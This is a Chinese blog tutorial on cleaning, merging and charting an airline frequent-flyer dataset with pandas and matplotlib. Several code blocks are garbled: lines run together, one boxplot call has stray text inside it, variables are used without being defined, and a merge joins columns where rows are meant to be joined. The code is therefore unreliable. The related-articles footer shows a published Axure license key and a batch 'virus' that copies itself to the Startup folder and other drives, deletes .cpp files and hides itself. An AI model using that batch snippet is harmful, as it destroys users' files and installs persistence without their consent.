Python数据挖掘 数据预处理案例(以航空公司数据为例)

article/2025/10/30 21:23:54

Python数据预处理

一、内容:

1、数据清洗
2、数据集成
3、数据可视化

二、实验数据

根据航空公司系统内的客户基本信息、乘机信息以及积分信息等详细数据,依据末次飞行日期( LAST_FLIGHT_DATE),以2014年3月31日为结束时间,选取宽度为两年的时间段作为分析观测窗口,抽取观测窗口2012年4月1日至2014年3月31日内有乘机记录的所有客户的详细数据形成历史数据,分为air_data01.xlsx、air_data02.xlsx总共62988条记录。其中包含了会员卡号、入会时间、性别、年龄、会员卡级别、工作地城市、工作地所在省份、工作地所在国家、观测窗口结束时间、观测窗口乘机积分、飞行公里数、飞行次数、飞行时间、乘机时间间隔、平均折扣率等44个属性,如下表2-1所示。
在这里插入图片描述

三、设计方案

1、数据清洗:

a.首先将数据进行统计性分析,查找每列属性观测值中的空值个数最大值、最小值。得到的分析结果表如下表3-1所示。通过对原始数据观察发现数据中存在票价为空值的记录,同时存在票价最小值为0、折扣率最小值为0但总飞行公里数大于0的记录。票价为空值的数据可能是客户不存在乘机记录造成的。其他的数据可能是客户乘坐0折机票或者积分兑换造成的。
在这里插入图片描述
b.紧接着是分别对air_data01、air_data02两个数据集进行读取,并进行重复数据筛选与删除,对绘制箱型图年龄和票价为空的记录等异常值进行发现与删除,保留清洗后的数据。

2.数据集成

这一步是将数据清洗后的air_data01、air_data02两个数据集合并存放在一个数据存储中(cleanedfile_finish.csv),目的是为了便于后续的数据挖掘工作。

3.数据可视化

使用数据集成后的新产生的多维数据集cleanedfile_finish.csv对数据进行可视化操作,并对表格中的统计数据完成直方图、饼图、条形图、箱型图、热力图的绘制。

四、实验结论

1、程序源代码

1)数据清洗

a、准备工作:

import pandas as pdimport numpy as npimport matplotlib.pyplot as plt

b、数据统计性分析:

datafile= 'air_data01.xlsx'  # 航空原始数据,第一行为属性标签
resultfile = 'explore.csv'  # 数据统计性分析结果表
data = pd.read_excel(datafile)
datafile2= 'air_data02.xlsx'  
resultfile2 = 'explore2.csv' 
data2 = pd.read_excel(datafile2)
explore = data.describe(percentiles = [], include = 'all').T  # T是转置
explore['null'] = len(data)-explore['count']  
explore = explore[['null', 'max', 'min']]
explore.columns = ['空值数', '最大值', '最小值']  # 表头重命名
explore.to_csv('resultfile.csv')  # 导出结果
explore2 = data2.describe(percentiles = [], include = 'all').T  # T是转置
explore2['null'] = len(data)-explore2['count']
explore2 = explore2[['null', 'max', 'min']]
explore2.columns = ['空值数', '最大值', '最小值'] 
explore2.to_csv('resultfile2.csv') 
datatemp = pd.concat([explore,explore2],axis=0)
datatemp.to_csv('data_Statistical analysis.csv') # 导出最终结果

通过对原始数据观察发现数据中存在票价为空值的记录,同时存在票价最小值为0、折扣率最小值为0但总飞行公里数大于0的记录。票价为空值的数据可能是客户不存在乘机记录造成的。其他的数据可能是客户乘坐0折机票或者积分兑换造成的。所以后面我们将对这一部分数据进行清除操作。

c、对数据集进行读取:

df1 = pd.read_excel('air_data01.xlsx')
df2 = pd.read_excel('air_data02.xlsx')
对重复数据进行删除:
def df_drop(df): #删除重复数据print("yunxingle")
df_1 = df.duplicated() #进行重复判断print("重复判断\n:",df_1)df_2 = df[df.duplicated()]#显示重复数据sssprint("\n\n\n重复数据\n",df_2)df_new = df.drop_duplicates() #删除重复数据
return df_new
df_drop(df1)
df_drop(df2)

d、对缺失行进行删除:

def df_kong(df):df_1 = df.apply(lambda col:sum(col.isnull())/col.size)print('\n判断缺失情况:\n\n',df_1)df_2 = df.dropna(how='any')#删除所有含有缺失值的行print(df_2.head(10))return df_2df_kong(df1)df_kong(df2)

e、合并数据并保存:

data_new1 = df_kong(df_drop(df1))
data_new2 = df_kong(df_drop(df2))
data_integrated = pd.concat([data_new1,data_new2],axis=1)
data_integrated.to_csv('data_integrated.csv')  # 保存清洗后的数据

f、异常值清除:

data = pd.read_csv('data_integrated.csv')
# data = data_new1
age = data['AGE'].dropna()
age = age.astype('int64')
# 绘制会员年龄分布箱型图
plt.rcParams['font.sans-serif'] = 'SimHei'  # 设置中文显示
fig = plt.figure(figsize = (5 ,10))
plt.boxplot(age,  patch_artist=True,labels = ['会员年龄'],  # 设置x轴标题boxprops = {'facecolor':'lightblue'})  # 设置填充颜色
plt.title('会员年龄分布箱线图')
# 显示y坐标轴的底线
plt.grid(axis='y')
plt.show()
plt.close()# 箱型图显示年龄数据存在有大于100的异常值,下面予以修正
print('原始数据的形状为:',data.shape)
index = data['AGE'] > 100  # 去除年龄大于100的记录
data2 = data[~index]
print('数据清洗后数据的形状为:',data2.shape)
data2.to_csv('cleanedfile_01.csv')  # 保存清洗后的数据age = data2['AGE'].dropna()
age = age.astype('int64')
# 绘制会员年龄分布箱型图
plt.rcParams['font.sans-serif'] = 'SimHei'  # 设置中文显示
fig2 = plt.figure(figsize = (5 ,10))
plt.boxplot(age,  patch_artist=True,labels = ['会员年龄'],  # 设置x轴标题boxprops = {'facecolor':'lightblue'})  # 设置填充颜色
plt.title('会员年龄分布箱线图')
# 显示y坐标轴的底线
plt.grid(axis='y')
plt.show()
plt.close()data3 = pd.read_csv('cleanedfile_01.csv',encoding = 'utf-8')
print('原始数据的形状为:',data3.shape)# 去除票价为空的记录
data3_notnull = data3.loc[data3['SUM_YR_1'].notnull() &data3['SUM_YR_2'].notnull(),:]
print('删除缺失记录后数据的形状为:',data3_notnull.shape)
# data3_notnull.to_csv('data3_notnull.csv')  # 保存清洗后的数据# 只保留票价非零的,或者平均折扣率不为0且总飞行公里数大于0的记录。
index1 = data3_notnull['SUM_YR_1'] != 0
index2 = data3_notnull['SUM_YR_2'] != 0
index3 = (data3_notnull['SEG_KM_SUM']> 0) & (data3_notnull['avg_discount'] != 0)
cleanedfile_02 = data3_notnull[(index1 | index2) & index3]
print('数据清洗后数据的形状为:',cleanedfile_02.shape)
cleanedfile_02.to_csv('cleanedfile_finish1.csv')  # 保存清洗后的数据

2)数据集成

data_new1 = df_kong(df_drop(df1))
data_new2 = df_kong(df_drop(df2))
data_integrated = pd.concat([data_new1,data_new2],axis=1)#数据集成
data_integrated.to_csv('data_integrated.csv')  # 保存清洗后的数据

3)数据可视化

a、准备工作:

import pandas as pd
import matplotlib.pyplot as plt
datafile= 'cleanedfile_finish.csv'

b、各年份会员入会人数直方图绘制:

from datetime import datetime
ffp = data['FFP_DATE'].apply(lambda x:datetime.strptime(x,'%Y-%m-%d'))
ffp_year = ffp.map(lambda x : x.year)
# 绘制各年份会员入会人数直方图
fig = plt.figure(figsize = (8 ,5))  
plt.rcParams['font.sans-serif'] = 'SimHei'  
plt.rcParams['axes.unicode_minus'] = False
plt.hist(ffp_year, bins='auto', color='#0504aa')
plt.xlabel('年份')
plt.ylabel('入会人数')
plt.title('各年份会员入会人数')
plt.show()
plt.close

c、会员性别比例饼饼图绘制:

male = pd.value_counts(data['GENDER'])['男']
female = pd.value_counts(data['GENDER'])['女']
# 绘制会员性别比例饼图
fig = plt.figure(figsize = (7 ,4))  # 设置画布大小
plt.pie([ male, female], labels=['男','女'], colors=['lightskyblue', 'lightcoral'],autopct='%1.1f%%')
plt.title('会员性别比例')
plt.show()
plt.close

d、会员各级别人数条形图绘制:

lv_four = pd.value_counts(data['FFP_TIER'])[4]
lv_five = pd.value_counts(data['FFP_TIER'])[5]
lv_six = pd.value_counts(data['FFP_TIER'])[6]
# 绘制会员各级别人数条形图
fig = plt.figure(figsize = (8 ,5))  # 设置画布大小
plt.bar(x=range(3), height=[lv_four,lv_five,lv_six], width=0.4, alpha=0.8, color='skyblue')
plt.xticks([index for index in range(3)], ['4','5','6'])
plt.xlabel('会员等级')
plt.ylabel('会员人数')
plt.title('会员各级别人数')
plt.show()
plt.close()

e、会员年龄分布箱型图绘制:

age = data['AGE'].dropna()
age = age.astype('int64')
# 绘制会员年龄分布箱型图
fig = plt.figure(figsize = (5 ,10))
plt.boxplot(age,patch_artist=True,labels = ['会员年龄'],  # 设置x轴标题boxprops = {'facecolor':'lightblue'}) 
plt.title('会员年龄分布箱线图')
plt.grid(axis='y')
plt.show()
plt.close

f、最后乘机至结束时长箱型图绘制:

fig = plt.figure(figsize = (5 ,8))
plt.boxplot(lte,最后乘机至结束时长箱线图patch_artist=True,labels = ['时长'],  # 设置x轴标题boxprops = {'facecolor':'lightblue'})  
plt.title('会员最后乘机至结束时长分布箱线图')
plt.grid(axis='y')
plt.show()
plt.close

g、客户飞行次数箱型图绘制:

fig = plt.figure(figsize = (5 ,8))
plt.boxplot(fc,patch_artist=True,labels = ['飞行次数'], boxprops = {'facecolor':'lightblue'}) 
plt.title('会员飞行次数分布箱线图')
# 显示y坐标轴的底线
plt.grid(axis='y')
plt.show()
plt.close

h、客户总飞行公里数箱型图绘制:

fig = plt.figure(figsize = (5 ,10))
plt.boxplot(sks,patch_artist=True,labels = ['总飞行公里数'], boxprops = {'facecolor':'lightblue'})  
plt.title('客户总飞行公里数箱线图')
# 显示y坐标轴的底线
plt.grid(axis='y')
plt.show()
plt.close

i、会员兑换积分次数直方图绘制:

ec = data['EXCHANGE_COUNT']
fig = plt.figure(figsize = (8 ,5))  
plt.hist(ec, bins=5, color='#0504aa')
plt.xlabel('兑换次数')
plt.ylabel('会员人数')
plt.title('会员兑换积分次数分布直方图')
plt.show()
plt.close

j、计算相关矩阵并绘制热力图:

data_corr = data[['FFP_TIER','FLIGHT_COUNT','LAST_TO_END','SEG_KM_SUM','EXCHANGE_COUNT','Points_Sum']]
age1 = data['AGE'].fillna(0)
data_corr['AGE'] = age1.astype('int64')
data_corr['ffp_year'] = ffp_year
dt_corr = data_corr.corr(method = 'pearson')
print('相关性矩阵为:\n',dt_corr)
import seaborn as sns
plt.subplots(figsize=(10, 10)) 
sns.heatmap(dt_corr, annot=True, vmax=1, square=True, cmap='Blues')
plt.show()
plt.close

2、程序相关结果展示

1)数据清洗

a、数据统计性分析:
数据统计性分析
通过对原始数据观察发现数据中存在票价为空值的记录,同时存在票价最小值为0、折扣率最小值为0但总飞行公里数大于0的记录。票价为空值的数据可能是客户不存在乘机记录造成的。其他的数据可能是客户乘坐0折机票或者积分兑换造成的。所以后面我们将对这一部分数据进行清除操作。

c、重复值分析:
重复值分析1
如图示,显示有重复数据,下面我们将重复数据进行展示。可以看出air_data01有71行重复数据。air_data02有1738行重复数据。
重复值分析2
重复值分析3
我们对重复数据执行删除操作。

d、缺失行进行分析:
在这里插入图片描述
在这里插入图片描述
根据观察,表格air_data01存在部分数据缺失,因为数据量较为庞大,所以我们对所有缺失的数据执行行删除操作。

e、重复数据与缺失数据删除前后数据对比:
在这里插入图片描述
f、异常值清除:

根据会员年龄分布箱型图,可以看出大部分会员年龄集中在30~50岁之间,极少量的会员年龄小于20岁或高于60岁,且存在一个超过100岁的异常数据。我们对该AGE数据中大于100的进行删除,所得结果如下图所示。
在这里插入图片描述

2)数据集成

保存数据到‘cleanedfile_finish1.csv’用于后续数据可视化。
在这里插入图片描述

3)数据可视化

a、各年份会员入会人数直方图绘制:
在这里插入图片描述
可以发现入会人数大致是随着年份的增加而增加,在2012年达到顶峰。2009年与2013年与趋势不符,有可能是采样的问题,有可能是其他类似政策的问题

b、会员性别比例饼饼图绘制:在这里插入图片描述
可以发现入会男性比例远远高于女性。

c、会员各级别人数条形图绘制:
在这里插入图片描述
可以看出绝大多数会员为4级会员,仅有少数5级或者6级会员

d、箱型图绘制
在这里插入图片描述
由会员年龄分布箱线图可以看出绝大多数年龄位于30~50岁之间
最后一次乘机时间至观测窗口时长越短,表示客户对航空公司越满意。时间间隔越短同时也表示该客户可能是高价值客户。并且还可以从这个属性中看到公司的发展问题,如果时间间隔短的客户越来越少,说明该公司的运营出现了问题,需要及时调整营销策略。
在这里插入图片描述
通过图像可以很清晰的发现:客户的飞行次数与总飞行里程数明显分为两个群体,大部分客户集中在箱型图中的箱体中,少数客户位于箱体上方,这部分客户很可能就是高价值客户。

h、会员兑换积分次数直方图绘制:
在这里插入图片描述
通过图形可以看出:绝大多数兑换次数位于0~10次之间,这表明大部分客户很少进行积分兑换。

i、计算相关矩阵并绘制热力图:
在这里插入图片描述
通过热力图可以看出:部分属性之间存在强相关性,比如总飞行公里数与票价收入,总累计积分,飞行次数。可以通过这些关联性强的属性进一步对数据进行挖掘分析。

如需要实验代码和数据,请私信,无偿提供,仅供学习交流哦~


http://chatgpt.dhexx.cn/article/YwsoA1xh.shtml

相关文章

Axure 9.0.0.3712 授权码

更新日志 2020年8月4日,Axure 更新了最新的版本,本次的版本号为 Axure RP 9.0.0.3712,具体更新内容如下: 自从Axure发布了9.0版本以后,很多小伙伴之前使用的注册码已经失效了,为了不影响想体验的小伙伴&am…

axure8.1 授权码

Licensee: University of Science and Technology of China (CLASSROOM) Key: DTXRAnPn1P65Rt0xB4eTQ4bF5IUF0gu0X9XBEUhM4QxY0DRFJxYEmgh4nyh7RtL 原文链接:http://blog.csdn.net/quanqinyang/article/details/78217464

关于Axure RP 的授权,我猜你还想知道......

Axure RP发展到今天,已经出到9的版本,当然破解授权码层出不穷。 有条件的朋友建议使用正版,可以避免以后可能出现的一些问题。 关于Axure授权码,有几点给大家说明一下。 一个Axure RP 的授权码是否可以多个人使用? 一…

2019年最新最全香港5大银行开户条件及攻略

跑去香港开户的同学,大概都了解,现在香港银行开户已经越来越严格了。银行工作人员要么就以资料要审核委婉拒绝,要么就要求客户存入几百万的存款才肯开户。2019年货币贬值加速,港币美元升值。户开开与各大行银行经理联合给大家总结了香港的5大最常见银行,汇丰、渣打、中银、…

2019年香港银行开户条件有哪些?个人账户申请被拒绝后该怎么处理比较好!!!

网上关于香港银行开户的攻略很多,但是由于政策跟银行系统不断升级的问题,银行已经全面出新政策了,为此,小编这次专门跑了一圈香港,整理了最新的一份开户大全,有评星,有体验。历史上关于香港各大银行开户的攻略都在这里了。各位有需要的小伙伴看这里,关于香港各大银行开…

一定要收藏!!!2019取消管理费最新最全香港开户攻略

自2019年8月1日起,很多香港银行相继取消多个账户管理费,香港开户难度也再度提升,还流传汇丰银行对于内地旅客来香港开户不能获批的消息,但多位在香港的中资和外资银行人士在接受媒体采访时表示暂无收到相关通知。不管怎么样!卡君还是提醒有需要开港卡的尽早开户!!!防范…

说说香港银行开户的一些细节问题

很多人对“香港银行开户”存在很大误区,认为还可以轻松地通过视频异地开户,或简单地带上公司注册文件和身份证到香港银行柜台办理手续,一两周就能拿到银行账户。 实际上2012年汇丰事件后,一石激起千层浪,银行业界人心惶惶,谁都不想成为下一个“幸运儿”,现各银行纷纷加…

测试用例的基本方法

什么是测试用例 测试用例的定义 测试用例是执行测试的依据,把测试系统的操作步骤用文档的形式描述出来 1:测试用例是为达到最佳的测试效果或高效的揭露隐藏的错误,而精心设计的少量测试数据,包括测试输入、执行条件和预期的结果…

几种测试用例方法

针对穷举场景设计测试点 针对限定边界规则设计测试点 对多条件依赖关系进行设计测试点 对于项目业务进行设计用例 1、等价类划分法:针对穷举场景设计测试点 1)说明:在所有测试数据中,具有某种共同特征的数据集进行划分 2&#xff…

设计测试用例的方法

目录 一、根据需求去设计测试用例 二、具体的设计测试用例的方法 1.等价类 2.边界值 3.因果图法 4.正交法 5.场景法 6.错误猜测法 三、如何评价测试用例的好坏 一、根据需求去设计测试用例 验证需求的正确性。 分析需求,细化需求,从需求中提炼…

设计测测试用例的五大方法

目录 一.等价类 1.等价类的概念 2.等价类的分类 (1)有效等价类 (2)无效等价类 3.使用场景 4.例子 二.边界值 1.边界值的概念 2.例子 三.因果图法 1.因果图法的概念 2.因果图中的逻辑图 3.因果图设计测试用例步骤 4.…

bat简单的批处理命令

授人以鱼不如授人以渔 如何查看dos命令帮助 命令名 /? 路径使用 \ 不能使用/ 例如查看del命令帮助 1. echo 显示信息,关闭、启用命令回显 echo hello关闭回显 echo off echo hello开启回显 echo on2. 关闭当前语句回显 3. del 删除一个或多个文件 /p 删除…

.bat 是什么? (批处理脚本)

批处理(Batch),也称为批处理脚本 windows下Bat命令学习 一、基础语法: 1.批处理文件是一个“.bat”结尾的文本文件,这个文件的每一行都是一条DOS命令。可以使用任何文本文件编辑工具创建和修改。 2.批处理是一种简单的程序,可以用…

批处理获取当前系统日期及时间及星期转换为数字并加以格式美化的bat代码

代码如下: echo off&setlocal enabledelayedexpansion ::批处理获取当前系统日期及时间并格式美化的bat代码 echo 读取系统日期和时间(普通) echo. echo %date%%time% echo 或者 echo %date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%:…

用几行代码写的bat小病毒

最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581 用了三天才看完。,感觉作者整理整理可以把博客当书买了。。。 然后自己突发其想,想到了一个小病毒程序,其实也算…

黑客装X代码【BAT格式】

代码如下: echo off color 02 :start echo %random% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %random% %random% %random% %rangom% %ran…

5行代码!完成bat病毒制作!!!

这个病毒的功能是删除当前目录下.cpp类型的代码。 copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" copy %0 d:\ copy %0 e:\ del *.cpp attrib h %0 1.病毒启动测试: copy %0 "%userprofile%\AppData\R…

bat的黑客代码

今天给大家分享一个装逼代码 1.新建文本文档,命名为黑客代码,输入以下代码: start http://cybermap.kaspersky.com/cn 2.然后保存关闭,把后缀名更改为bat(不会的上网搜),最后双击运行&#x…

学会这几个简单的bat代码,轻松在朋友面前装一波13

这个标题是干什么用的? 最近看晚上某些人耍cmd耍的十分开心,还自称为“黑客”,着实比较搞笑.他们那些花里胡哨的东西在外行看来十分nb,但只要略懂一些,就会发现他们的那些十分搞笑和滑稽。 今天这里分享几个类似的方法,让你在不…

简单bat编写

获取用户输入 echo off set /p a"请输入:" echo %a% echo 请按任意键退出程序 & pause > nul加入简单的if判断 echo off set /p a"请输入(1-3):" : 注意 if 条件后空格 括号 if %a% 1 (echo &quo…